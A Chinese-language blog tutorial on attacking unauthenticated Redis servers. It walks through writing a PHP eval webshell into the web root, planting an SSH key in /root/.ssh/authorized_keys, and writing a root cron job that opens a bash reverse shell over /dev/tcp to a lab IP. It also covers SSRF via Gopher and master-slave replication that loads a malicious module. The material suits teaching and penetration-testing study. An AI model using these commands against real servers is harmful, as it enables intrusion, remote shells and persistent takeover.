从0认识学习Redis攻击面

Redis是什么?

Redis是一个基于内存的Key-Value存储数据库,提供了多种语言的API。由于数据被存储在内存中,所以拥有极快的存储和读取速度。

Redis的使用相对简单,在开启服务的状态下,终端输入redis-cli进去交互模式。使用set,get命令进行数据库的存储和查询。

我们也可以使用nc连接到6379端口进行操作,这就能够造成一系列的安全问题,如果我们能够直接或间接通过控制某个程序访问到6379端口,并且能够控制访问内容,就可以实现任意命令执行。

Redis默认情况下是无密码验证的,这就意味着你无需通过密码验证就可以连接到 redis 服务。

Redis 未授权访问漏洞

由于redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。并且没有设置密码认证,可以免密码远程登录服务。

利用Redis写入webshell

  • 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。

  • 开了服务端存在Web服务器,并且知道Web目录的路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限。

原理就是在数据库中插入一条Webshell数据,将此Webshell的代码作为value,key值随意(x),然后通过修改数据库的默认路径为/var/www/html和默认的缓冲文件shell.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/var/www/html下生成一个Webshell。
写webshell的时候,可以使用:

set xxx "\r\n\r\n<?php eval($_POST[1]);?>\r\n\r\n"

\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行。

%title插图%num

利用Redis写入SSH公钥

  • (protected-mode no)

  • 服务端的Redis连接存在未授权,在攻击机上能用redis-cli直接登陆连接,并未登陆验证。

  • 服务端存在.ssh目录并且有写入的权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

首先在攻击机的/root/.ssh目录里生成ssh公钥key:

ssh-keygen -t rsa

%title插图%num

接着将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入服务端Redis的缓冲里:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > /root/.ssh/key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.139.128 -x set xxx

然后,使用攻击机连接目标机器Redis,设置Redis的备份路径为/root/.ssh/和保存文件名为authorized_keys,并将数据保存在目标服务器硬盘上

redis-cli -h 192.168.139.128
config set dir /root/.ssh
config set dbfilename authorized_keys
save

最后,使用攻击机ssh连接目标受害机即可:

ssh 192.168.139.128

%title插图%num

利用 Redis 写入计划任务

原理就是在数据库中插入一条数据,将计划任务的内容作为value,key值随意,然后通过修改数据库的默认路径为目标主机计划任务的路径,把缓冲的数据保存在文件里,这样就可以在服务器端成功写入一个计划任务进行反弹shell。

由于权限问题,通常只能在Centos使用,Ubuntu却不行。因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件权限必须是600,否则会报错。而Centos的定时任务执行,权限为644也可以。

redis-cli -h 192.168.139.128
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.139.131/2333 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

Redis 未授权访问漏洞在 SSRF 中的利用

在SSRF漏洞中,如果通过端口扫描等方法发现目标主机上开放6379端口,则目标主机上很有可能存在Redis服务。此时,如果目标主机上的Redis由于没有设置密码认证、没有进行添加防火墙等原因存在未授权访问漏洞的话,那我们就可以利用Gopher协议远程操纵目标主机上的Redis,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等,其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

通过主从复制 GetShell

Redis提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

在redis4.0版本以上,可以进行主从复制,主从复制是为了备份文件,即主机复制写,从机负责读。思路就是开启恶意服务,让靶机redis认为此为redis服务器,利用主从复制,将恶意构造的exp.so文件加载到redis之中,从而实现getshll或命令执行

利用 redis-rogue-server 工具

通过SSRF操作Redis主从复制getshell

https://bycsec.top/2020/05/30/%E5%88%9D%E6%8E%A2Redis-wdb%E7%8E%84%E6%AD%A6%E7%BB%84ssrfme&pwnhub%E5%85%AC%E5%BC%80%E8%B5%9B/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇